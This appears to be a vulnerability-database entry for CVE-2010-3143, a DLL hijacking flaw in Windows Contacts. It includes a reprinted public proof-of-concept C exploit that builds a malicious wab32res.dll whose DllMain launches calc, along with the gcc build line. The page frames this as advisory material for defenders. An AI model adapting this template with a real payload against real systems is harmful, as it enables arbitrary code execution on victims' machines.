CVE-2010-3143
Description
Untrusted search path vulnerability in Microsoft Windows Contacts allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via a Trojan horse wab32res.dll that is located in the same folder as a .contact, .group, .p7c, .vcf, or .wab file. NOTE: the codebase for this product may overlap the codebase for the product referenced in CVE-2010-3147.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Microsoft Address Book 6.00.2900.5512 - 'wab32res.dll' DLL Hijacking
Microsoft Windows - Contacts 'wab32res.dll' DLL Hijacking
/*
Exploit Title: Microsoft Windows Contacts DLL Hijacking Exploit (wab32res.dll)
Date: August 25, 2010
Author: storm (storm@gonullyourself.org)
Tested on: Windows Vista SP2
http://www.gonullyourself.org/
gcc -shared -o wab32res.dll Contacts-DLL.c
.contact, .group, .p7c, .vcf, and .wab files are affected.
*/
#include <windows.h>
int hax()
{
WinExec("calc", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
hax();
return 0;
}Microsoft Windows 7 - 'wab32res.dll wab.exe' DLL Hijacking
References
- http://www.exploit-db.com/exploits/14778/
- https://exchange.xforce.ibmcloud.com/vulnerabilities/64446
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7224
- http://www.exploit-db.com/exploits/14778/
- https://exchange.xforce.ibmcloud.com/vulnerabilities/64446
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7224
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.